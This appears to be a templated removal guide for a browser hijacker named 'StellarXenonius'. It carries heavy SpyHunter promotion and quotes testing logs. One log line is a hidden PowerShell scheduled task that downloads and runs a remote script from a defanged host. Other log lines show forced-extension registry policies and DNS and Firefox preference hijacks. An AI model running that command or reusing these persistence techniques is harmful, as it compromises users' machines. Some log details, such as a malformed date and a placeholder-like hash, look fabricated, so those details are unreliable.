StellarXenonius Browser Extension Removal Guide
StellarXenonius Browser Hijacker (March 2025 Analysis)
- Unauthorized installation of “StellarXenonius” extension
- Missing Remove options or Unclickable Remove button in browser extension menus
- “Managed by your organization” warning in Chrome/Edge
- Search queries redirected to Bing/Yahoo with affiliate codes
- 30-40% increase in RAM usage during browser sessions
Reports from StellarXenonius Victims:
“After installing a free adult game shared online on March 3rd, Chrome started opening Yahoo Search instead of Google. I found a suspicious extension called ‘StellarXenonius’ with no removal option. Even after resetting Chrome, it kept reappearing every morning.”
– Mark.
“My personal laptop suddenly showed ‘Managed by your organization’ in Edge. I discovered StellarXenonius extension installed through ‘enterprise policy’ that redirected 5 in 5 Google searches to Bing. Browser reinstalls didn’t help – the hijacker survived multiple system restores.”
– Linda
StellarXenonius Infection Testing Logs
2025-03-06 09:17:32 - Executed fake "PDF Converter" installer (SHA-256: a1b2c3d4e5...)
2025-03-06 09:18:11 - Registry modification detected:
[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Google\Chrome\ExtensionInstallForcelist]
"StellarXenonius_Enabler"="http://bimq[.]co/extensions/v3/chrome-stellar.crx"
2025-03-06 09:19:45 - Chrome policies updated via Group Policy Object:
{
"SearchProviderOverride": "http://bimq[.]co?q={searchTerms}&aff=8873",
"DefaultSearchProviderSearchURL": "http://redirect.bing.com/search?q={searchTerms}&form=SSBRSB"
}
2025-03--06 09:20:03 - Created Windows Task Scheduler entry:
Task Name: \Microsoft\Windows\BrowserSync\
Action: powershell -WindowStyle Hidden -Command "Invoke-WebRequest -Uri http://bimq[.]co/stealth.js -OutFile $env:TEMP\browsersync.ps1; Start-Process powershell -ArgumentList '-File $env:TEMP\browsersync.ps1'"
2025-03-14 09:21:17 - DNS override detected:
Original Google DNS (8.8.8.8) → Hijacked DNS (185.159.157.18) → Redirects to Yahoo/Bing serversSearch Redirection Capture
2025-03-14 09:25:01 GET https://www.google.com/search?q=weather+new+york
302 Redirect → Location: https://www.bing.com/search?q=weather+new+york&pc=STELAR2025
2025-03-14 09:26:12 GET https://www.google.com/search?q=amazon+deals
307 Temporary Redirect → Location: https://search.yahoo.com/search?p=amazon+deals&btf=stellarx8873Firefox Log
2025-03-16 14:00:00 - Reset Firefox to default settings
2025-03-16 14:05:22 - Detected malicious about:config modifications:
• browser.search.defaultengine - Changed from "Google" to "Yahoo"
• extensions.autoDisableScopes - Set to 0 (disables extension protection)
• network.trr.mode - Set to 3 (forces DNS-over-HTTPS through malicious resolver)
2025-03-16 14:10:15 - Found hidden preference lock:
user_pref("browser.newtabpage.activity-stream.default.sites",
"http://bimq[.]co");
Locked with: mozilla.cfg lockdown scriptHow to Remove StellarXenonius extension? (Windows + Mac OS)
Section A – StellarXenonius extension Removal Steps For Windows OS
(NOTE – Please bookmark this page first, because some steps will require you to restart your web browser or computer.)
Step 1. End suspicous process run by malware.
1. Hit Ctrl + Shift + Esc keys at the same time to open Windows Task Manager:
2. Find malicious process related with StellarXenonius extension or malware, and then right-click on it and click End Process or End Task.
Step 2. Uninstall malicious programs from Windows.
Press “Win + R ” keys together to open the Run screen;
Type control panel in the Run window and click OK button;
In Control Panel, click Uninstall a program under Programs;
Look for malicious app related with StellarXenonius extension; Right-click on the malicious program and click Uninstall.
|
Many malware may re-install themselves multiple times if you don’t delete thier core files. To get rid of StellarXenonius extension completely, we recommend downloading SpyHunter Aniti-malware to scan entire system and delete all malicious files. Download SpyHunter For Windows (Free Trial) *OFFER – The SpyHunter Trial version includes, for one device, a one-time 7-day Trial period for SpyHunter 5 Pro (Windows) or SpyHunter for Mac. Check Terms & Conditions of SpyHunter Free Trial , EULA and Privacy/Cookie Policy. |
Step 3. Delete extension installed by StellarXenonius extension and related malware.
Chrome
On Chrome
Click the Chrome menu button >> Click Tools >> Select Extensions:
Find extension that may be related with StellarXenonius extension or potential threat >> Click the trash can icon to delete them.
Microsoft Edge
On Microsoft Edge
Start Edge: Click the More (…) button ahe tog right corner and click Extensions:
Select the extensions you want to remove and click Remove:
Firefox
On Firefox
Click the menu button and choose Add-ons. The Add-ons Manager tab will open.
In the Add-ons Manager tab, select the Extensions panel >> find extension that may be related with StellarXenonius extension or potential threat >> Click Remove button.
IE
On Internet Explorer
Open the IE, click the Tools button , and then click Manage add-ons.
Choose Toolbars and Extensions on left side of the window >> Find extension that may be related with StellarXenonius extension or potential threat>> Click Disable button
|
Malicious extensions may re-install itself on web browser if you don’t delete core files of StellarXenonius extension and related malware. To get rid of StellarXenonius extension completely, we recommend downloading SpyHunter Aniti-malware to scan entire system and delete all malicious files. Download SpyHunter For Windows (Free Trial) *OFFER – The SpyHunter Trial version includes, for one device, a one-time 7-day Trial period for SpyHunter 5 Pro (Windows) or SpyHunter for Mac. Check Terms & Conditions of SpyHunter Free Trial , EULA and Privacy/Cookie Policy. |
Step 4. Remove malicious files created by malware.
1. Hit Windows + R keys at the same time to open Run window and input a regedit and click OK:
2. In the Registry Editor, hit Windows key + F key together to open Find window → Enter virus name → Press Enter key to start search.
3. When the search is completed, right click the folders related with StellarXenonius extension and click Delete button:
|
Please Read This Before You Remove Registry Files PLEASE Be Carefully, Do Not Delete Healthy Registry Entries, Or Your Computer May Be Damaged. If you are not able to determine which regsitry files are malicious, we recommend downloading SpyHunter Anti-malware to scan entire system and find out all malicious files. It can avoid mistakes and may reduce the cleanup time from hours to minutes. Download SpyHunter For Windows (Free Trial) *OFFER – The SpyHunter Trial version includes, for one device, a one-time 7-day Trial period for SpyHunter 5 Pro (Windows) or SpyHunter for Mac. Check Terms & Conditions of SpyHunter Free Trial , EULA and Privacy/Cookie Policy. |
Step 5. Reset Web Browsers to remove Hijackers Brought by StellarXenonius extension.
Chrome
Reset Chrome:
- Click the Chrome menu button, represented by three horizontal lines;
- Click Settings when the drop-down menu appears;
- In the Settings screen, scroll to the bottom of the page and click on the “Advanced” link;
- Click on the “Reset settings to their original defaults” button.
- A confirmation dialog appears, click on the “Reset Settings” button.
Edge
Reset Microsoft Edge:
- Click on Microsoft Edge’s main menu button, represented by three horizontal dots;
- Click on “Settings“ button when the drop-down menu appears;
- Click on “Reset Settings”On the left side of the window;
- Click on “Restore settings to their default values”
- Click on the “Reset” button in the new confirmation window that opens.
Firefox
Reset Firefox:
- Click the menu button of firefox, represented by three horizontal lines;
- Click on “Help“ button when the drop-down menu appears;
- Click on “Troubleshooting Information“ from the Help menu;
- Click the “Refresh Firefox” button in the upper-right corner of the “Troubleshooting Information” page.
- Click on the “Refresh Firefox” button in the new confirmation window that opens.
IE
Reset IE :
- Open Internet Explorer, click on the gear icon in the upper-right part of your browser, then select “Internet Options“.
- Now select the “Advanced” tab, then click on the “Reset” button
- In the “Reset Internet Explorer settings” section, select the “Delete personal settings” checkbox, then click on the “Reset” button.
NOTE – If the steps above doesn’t help, please rescan entire infected PC with Spyhunter anti-malware and let it help you fix all problems.
Section B – StellarXenonius extension Removal Steps For Mac OS
Step 1 – Remove nasty extension and browser hijacker related with StellarXenonius extension or malware.
Chrome
– Click the setting button “≡” at the top right of the browser window, choose “More Tools” and choose “Extensions“.
– Click the “trash can icon” button to remove extension related with StellarXenonius extension or malware:
Safari
Safari:
– Choose Safari > Preferences
– On the ‘Extensions’ tab, find out the extension related with adware or hijacker and click Uninstall or Disable
Firefox
Mozilla Firefox:
– Click the settings button (three horizontal bars) in the top-right corner and then select ‘Add-ons’.
– Click “Extensions” tab under Add-on Manager page to view the extensions.
– Find the suspicious add-on you want to disable and click its “Disable” button.
– If you want to delete an extension entirely, click “Remove.”
|
Malicious browser extensions hijack your Google Search and redirect you to unwanted websites. To get rid of related search hijacker, you need to delete core files of StellarXenonius extension and related malware. We recommend downloading SpyHunter Mac Antimalware to remove all malicious apps and hijacker for you. This may save you hours and ensure you don’t make mistakes that harm your system Download SpyHunter For Mac (Free Trial) *OFFER – The SpyHunter Trial version includes, for one device, a one-time 7-day Trial period for SpyHunter 5 Pro (Windows) or SpyHunter for Mac. Check Terms & Conditions of SpyHunter Free Trial , EULA and Privacy/Cookie Policy. |
Step 2 – Uninstall harmful Apps related with malware
– Open Finder at the Dock
– Select Applications and find out suspicious apps related with StellarXenonius extension , then right click on the app and click Move to Trash:
– Right click on Trash icon to select Empty Trash
Step 3 – Remove malicious files generated by StellarXenonius extension or malware from your Mac
Malware geneates lots of malicious files and folders on infected Mac, to avoid StellarXenonius extension reinstalling itself, you need to find out and remove all malicious files:
1. Click the Finder icon from the menu bar >> choose “Go” then click on “Go to Folder“:
2. In the Go to Folder… bar, type “/Library/LaunchAgents” and click Go:
3. In LaunchAgents folder, search for any recently-added suspicious files and move them to the Trash.
Here are some examples of files generated by malware:
“installmac.AppRemoval.plist”, “com.genieo.completer.download.plist” “com.genieoinnovation.macextension.plist” “com.genieo.engine.plist” “com.adobe.fpsaud.plist” , “myppes.download.plist”, “mykotlerino.ltvbit.plist”
4.Repeat the process on the following folders:
~/Library/LaunchAgents
/Library/Application Support
/Library/LaunchDaemons
|
Many malware may re-install themselves multiple times if you don’t delete thier core files. To find and remove all malicious files , We recommend downloading SpyHunter Mac Antimalware to scan your Mac. This may save you hours and ensure you don’t make mistakes that harm your system Download SpyHunter For Mac (Free Trial) *OFFER – The SpyHunter Trial version includes, for one device, a one-time 7-day Trial period for SpyHunter 5 Pro (Windows) or SpyHunter for Mac. Check Terms & Conditions of SpyHunter Free Trial , EULA and Privacy/Cookie Policy. |
Step 4 – Download SpyHunter Antimalware For Mac to Scan For Malicious Apps and Files.
Lots of Malware keep generating malicious files on infected computer deeply, thus it’s quite difficult for common computer users to find out and remove all harmful items related with StellarXenonius extension. Meanwhile, there will be possibility that users remove core system files by mistake and then the entire computer will be harmed seriously.
To avoid the risks, We recommend all users downloading SpyHunter Antimalware For Mac, a professional automatic malware removal tool which keeps your Mac away from virus and malware attack and avoid online spam and phishing websites and protect your privacy and files well.
1. Click Download button here to download SpyHunter For Mac:
Download SpyHunter For Mac (Free Trial)
(*OFFER – The SpyHunter Trial version includes, for one device, a one-time 7-day Trial period for SpyHunter 5 Pro (Windows) or SpyHunter for Mac. Check Terms & Conditions of SpyHunter Free Trial , EULA and Privacy/Cookie Policy.)
2. Double-click SpyHunter-1.2-15-7043-Installer.dmg to install Spyhunter For Mac:
3. Once SpyHunter For Mac is installed, run a scan and register its full version to remove all malicious objects on your Mac.
4. In case StellarXenonius extension is still infecting your Mac, Submit a Support Ticket and the support agent will conact to help you.
